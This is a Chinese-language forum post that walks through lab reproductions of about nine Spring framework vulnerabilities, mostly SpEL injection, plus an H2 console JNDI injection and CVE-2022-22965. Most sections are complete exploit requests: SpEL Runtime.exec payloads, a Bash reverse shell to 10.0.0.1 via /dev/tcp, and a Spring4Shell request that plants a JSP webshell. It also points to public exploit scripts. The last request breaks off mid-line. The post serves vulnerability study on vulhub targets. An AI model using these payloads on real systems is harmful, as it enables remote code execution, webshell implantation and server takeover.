Spring框架漏洞总结

打印 上一主题 下一主题

主题 863|帖子 863|积分 2589

目录

以下漏洞复现大部分来自vulhub,本篇文章主要是为了熟悉和明白常见的漏洞的攻击流程,当然也有我自己的一些原明白释。
SpEL注入攻击

Spring H2 Database Console未授权访问


  • 漏洞原理

    • vulhub的解释
      H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:
      1. spring.h2.console.enabled=true
      2. spring.h2.console.settings.web-allow-others=true
      复制代码
      使用这个管理页面,我们可以进行JNDI注入攻击,进而在目的情况下执行恣意命令。
    • 我的补充
      参考文章:Spring Boot + H2数据库JNDI注入
      这里就是一个JNDI注入,在web页面中输入我们的rmi服务器,即长途绑定我们的方法,然后去http服务器加载恶意class类,攻击乐成。

  • 影响版本
    Spring Boot中使用 H2数据库。只要设置不当就会出现该漏洞
  • 漏洞复现
    访问路由 /h2-console 来到页面

    自己搭建好rmi服务器且弄好http加载恶意类,但是我们可以直接使用大佬的集成工具,JNDI一键帮忙搭载好了:https://github.com/welk1n/JNDI-Injection-Exploit
    开启恶意服务器:
    设置好-C执行的命令
    (-A 默认是第一张网卡地址,-A 你的服务器地址,我这里就默认了)

    攻击之前先进入容器查察一下确认不存在hacker文件
    (因为我们执行的命令是touch /tmp/hacker)

    按照你java版本(1.8以上建议选第一个就行)选择rmi地址,然后在web漏洞存在的页面上输入
    1. javax.naming.InitialContext
    2. rmi://your-ip:1099/9b8j4m
    复制代码
    点击连接即发起攻击
            rmi服务器有反应       

    容器内可以看到就创建乐成了

Spring Security OAuth2长途命令执行漏洞(CVE-2016-4977)


  • 漏洞原理
    参考:https://blog.knownsec.com/2016/10/spring-security-oauth-rce
    注意:参考文章中访问的url和vulhub给的不一样,我下面是按照vulhub的来。
    简单来说:这里的SpEL注入,造成注入的原因是渲染了错误信息,由于errorSummary被装入model,然后进入函数后递归提取SpEL表达式执行。
  • 影响版本
    Spring Security OAuth2 2.0.0 ~ 2.0.9
    Spring Security OAuth2 1.0.0 ~ 1.0.5
  • 漏洞复现
    访问 /oauth/authorize?response_type=${233*1}&client_id=acme&scope=openid&redirect_uri=http://test

    必要登录的输入admin/admin
    然后就会发现我们SpEL注入的表达式就在:response_type=${233*1}
    那么就可以通过脚本:https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py 来生成对应的SpEL表达式

    使用脚本之前先进行编码,这里将你要执行的命令编码一下,这里使用base64,要进行一次反弹shell操纵。

    然后使用poc.py脚本生成SpEL表达式,
    格式为:bash -c {echo,你生成的base64编码放这里|{base64,-d}|{bash,-i}

    然后再服务器开启监听接受反弹shell

    接着就可以将poc.py的那一段payload放进参数response_type=${payload这里}

    可以看到反弹shell乐成

Spring WebFlow长途代码执行漏洞(CVE-2017-4971)


  • 漏洞原理
    参考文章:https://yaofeifly.github.io/2017/06/13/Spring-Web-Flow/
    简单来说:我们必要额外增长一个参数,且以_开头的,作为payload来通报到后台进行解析,而根本原因是addDefaultMappings函数中对我们通报进来的parameterNames进行绑定解析,而解析的类为expressionParser,该类expressionParser的默认值可以解析SpEL表达式,所以通过控制参数造成了SpEL注入攻击。
    由此可知还要有前提条件:
  • MvcViewFactoryCreator类中useSpringBeanBinding默认值(false)未修改
  • webflow设置文件中view-state节点中指定了model属性,并且没有指定绑定的参数,即view-state中没有设置binder节点
  • 影响版本:2.4.x
  • 漏洞复现

    来到登录页面
    /login


    访问:/hotels/1 进行预订酒店


    随便填写,然后提交

    开启抓包,点击comfirm

    这里进行一个反弹shell功能,那么在服务器先开启nc监听

    然后填入反弹shell的payload:(记得将payload进行url编码)
    _(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub
    进行url编码↓↓↓↓进行url编码
    _(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.0.0.1/21+0>%261")).start()=vulhub

    发送数据包,返回500是正常

    查察nc已经看到反弹shell了

Spring Data Rest长途命令执行漏洞(CVE-2017-8046)


  • 漏洞原理
    参考文章:https://tech.meituan.com/2017/09/29/spring-data-rest-cve.html
    简单来说:通过提交一个PATCH请求op为replace,调用父类PatchOperation的evaluateValueFromTarget方法,但是这里存在缺陷,没有检查路径是否符合逻辑,那么就导致setValueOnTarget往后的参数值继续进行SpEL表达式解析。
  • 影响版本
    Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
    Spring Boot version < 2.0.0M4
    Spring Data release trains < Kay-RC3
  • 漏洞复现
    容器开启后直接访问:/customers/1

    抓包修改为:
    该SpEL表达式操纵为:touch /tmp/success,具体执行命令可以自行修改字节来控制。
    1. PATCH /customers/1 HTTP/1.1
    2. Host: localhost:8080
    3. Accept-Encoding: gzip, deflate
    4. Accept: */*
    5. Accept-Language: en
    6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    7. Connection: close
    8. Content-Type: application/json-patch+json
    9. Content-Length: 202
    10. [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
    复制代码
放包前查察容器内是否存在该文件:
docker exec -it 3b2e846b1012 ls /tmp

放包返回400

返回容器查察就被创建出来了

Spring Messaging长途命令执行漏洞(CVE-2018-1270)


  • 漏洞原理
    Websocket是html5提出的一个协议规范,是为解决客户端与服务端实时通讯,在建立连接之后,双方可以在恣意时候,相互推送信息。
    STOMP是websocket的子协议,主要规定传输内容。但是在该漏洞中你只必要知道SUBSCRIBE为订阅消息以及注册订阅的目的地,SEND为发送消息。通过这两个命令就足够明白漏洞原理了。
    一般是建立连接为subscribe,send为连接后发送的消息。
spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。
提取大佬的总结

  • 通过发送SUBSRIBE消息解析表达式并保存到消息指定的目的地址下
  • 当发送SEND消息时会从目的地址下获取所有的存根,遍历存根并获取对应的表达式并调用getValue方法触发漏洞
说白了就是先订阅,这个动作就是建立好连接了,反面都必须要使用这个连接,然后通过这个连接去触发你在订阅的时候插入的恶意payload,但是这个触发是按照真真相况来看的,也就说你必要找到建立连接后哪个可以进行send动作的路由,这个路由是开发者在开发的时候定义的,所以你必要找到后才能进行发送。
如图所示:先connect 然后去send,就通过这种方式来攻击。
(ps:本人在抓包的时候努力建立同一个连接来进行发送,但是就是无法通过抓包形式来建立好连接,所以真的就只能使用poc脚本来攻击了)


  • 影响版本
    Spring Framework 5.0 to 5.0.4
    Spring Framework 4.3 to 4.3.14
  • 漏洞复现
    虽然我的电脑无法通过抓包来复现,但是还是要过一下流程
    1.开启靶场

    2.点击网页中的connect抓包,发送payload
  1. "SUBSCRIBE\nselector:T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')\nid:sub-0\ndestination:/topic/greetings\n\n\u0000"
复制代码

3.如果你的建立乐成了,也就是说网页中的disconnect可以点击的话代表你已经乐成连接了,然后点击send发送抓包。
(这里无须纠结为什么是app/hello,因为是demo让你复现的,真真相况的话你自己点击下出现发送send的数据包就抓下来即可,实在你点击发送就已经是攻击成了,主要是你在建立连接的时候,是否乐成插入payload进去)
  1. ["SEND\ncontent-length:16\ndestination:/app/hello\n\n{"name":"aaaaa"}\u0000"]
复制代码

如果你查察容器下/tmp/有success就代表攻击乐成了。
由于本人这种方式没有复现乐成就使用攻击脚本来复现,脚本能够帮助你一直使用这个连接然后就不消抓包放包等建立连接了。
下载脚本:exploit.py
如果你是使用vulhub靶场来复现的只必要修改56行即可(如果不是就自行找到订阅和send)

先查察确认靶场内不存在success文件(因为攻击命令就是创建success文件)

然后直接运行py脚本,
这里我修改了一下脚本,将发送的data数据打印出来了,攻击过程更加清楚。
可以看到就是实打实的三步骤:
1.先建立连接
2.发送订阅,订阅消息中参加了SpEL恶意代码
3.发送消息,触发SpEL解析

查察容器发现已经乐成创建文件

Spring Data Commons长途命令执行漏洞(CVE-2018-1273)


  • 漏洞原理
    vulhub解释:
    Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行恣意命令。
  • 明白:(看不懂建议先看下面的漏洞复现)
    直接看漏洞事发地:

    通过查察代码可以发现对参数名(propertyName)进行了很多操纵,接着用propertyName设置了expression对象

    然后到了expression.setValue 进去后就是 spel 表达式解析了,根本原因是getPropertyPath对参数名只进行了判断,但是使用的参数名还是原来的那个,所以导致我们通过修改参数名就能够进行SpEL注入攻击。
    这可以继续往下看代码会看到该函数确实是进行了一个正则匹配,但是返回去后好像确实没看到对原本的参数名进行更换,所以还是使用原来的参数名去解析了。

  • 影响版本:2.0.5及以前版本
  • 漏洞复现
    访问/users
    随便抓一个包,然后更换为:
  1. POST /users?page=&size=5 HTTP/1.1
  2. Host: localhost:8080
  3. Connection: keep-alive
  4. Content-Length: 124
  5. Pragma: no-cache
  6. Cache-Control: no-cache
  7. Origin: http://localhost:8080
  8. Upgrade-Insecure-Requests: 1
  9. Content-Type: application/x-www-form-urlencoded
  10. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
  11. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
  12. Referer: http://localhost:8080/users?page=0&size=5
  13. Accept-Encoding: gzip, deflate, br
  14. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  15. username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
复制代码

发包之前先确认一下容器内不存在/tmp/success文件,因为我们攻击的代码就行创建/tmp/success文件

然后发包,返回500

查察文件确认攻击乐成

Spring Cloud Gateway Actuator API SpEL表达式注入命令执行(CVE-2022-22947)


  • 漏洞原理
    Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包罗)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以使用该漏洞执行恣意命令。
    这里我没有搞清楚具体发生漏洞的代码,这里知道攻击过程,反正就是能够自定义路由,然后通过refresh路由添加进去,然后你就可以使用你自定义的路由了,具体的SpEL注入代码就是在你自定义路由的时候注入进去了,刷新就是触发路由执行SpEL,查察你的路由就是查察执行结果
  • 影响版本:
    Spring Cloud Gateway 3.1.0
    Spring Cloud Gateway 3.0.6
  • 漏洞复现
    随便抓包修改数据包
    1.自定义路由
  1. POST /actuator/gateway/routes/hacktest HTTP/1.1
  2. Host: localhost:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  7. Connection: close
  8. Content-Type: application/json
  9. Content-Length: 329
  10. {
  11.   "id": "hacktest",
  12.   "filters": [{
  13.     "name": "AddResponseHeader",
  14.     "args": {
  15.       "name": "Result",
  16.       "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"
  17.     }
  18.   }],
  19.   "uri": "http://example.com"
  20. }
复制代码

2.刷新添加路由且执行SpEL
  1. POST /actuator/gateway/refresh HTTP/1.1
  2. Host: localhost:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  7. Connection: close
  8. Content-Type: application/x-www-form-urlencoded
  9. Content-Length: 0
复制代码

3.查察执行结果
  1. GET /actuator/gateway/routes/hacktest HTTP/1.1
  2. Host: localhost:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  7. Connection: close
  8. Content-Type: application/x-www-form-urlencoded
  9. Content-Length: 0
复制代码

Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)


  • 漏洞原理
    SpringCloud Function 中的functionRouter支持SpEL,跟进代码发现最后是StandardEvaluationContext 对header的值进行SpEL表达式解析。
    根本原因就是也就是说在框架中可以直接添加header值,改成能够执行SpEL的spring.cloud.function.routing-expression豆子,其值写入SpEL代码,代码中最终会判断spring.cloud.function.routing-expression不为空,将其值传入functionFromExpression,最终解析了SpEL。
  • 影响版本
    springcloud Function3.0以上版本
  • 漏洞复现
    开启容器后,先确认不存在/tmp/success文件

    发送数据包
  1. POST /functionRouter HTTP/1.1
  2. Host: localhost:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  7. Connection: close
  8. spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
  9. Content-Type: text/plain
  10. Content-Length: 4
  11. test
复制代码

再次查察就可以发现文件创建乐成

SpEL注入相干漏洞到此结束。
下面就不是有关SpEL的一些Spring漏洞了。
Spring Framework 长途命令执行漏洞(CVE-2022-22965)


  • 漏洞原理
    vulhub解释:
    在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定进行的长途代码执行 (RCE) 攻击。特定漏洞必要应用程序在 Tomcat 上以 WAR 部署运行。如果应用程序部署为 Spring Boot 可执行 jar(即默认),则不易受到攻击。但是,漏洞的性子更为普遍,可能还有其他方法可以使用它。
  • 影响版本
    Spring Framework 5.3.x ~ 5.3.18
    Spring Framework 2.x ~ 5.2.20
    使用tomcat < 9.0.62 部署spring并且使用了POJO参数绑定
  • 漏洞复现
    随便抓包,修改成以下数据包(记得还有两个回车)
[code]GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closesuffix: %>//c1: Runtimec2:

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

宝塔山

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表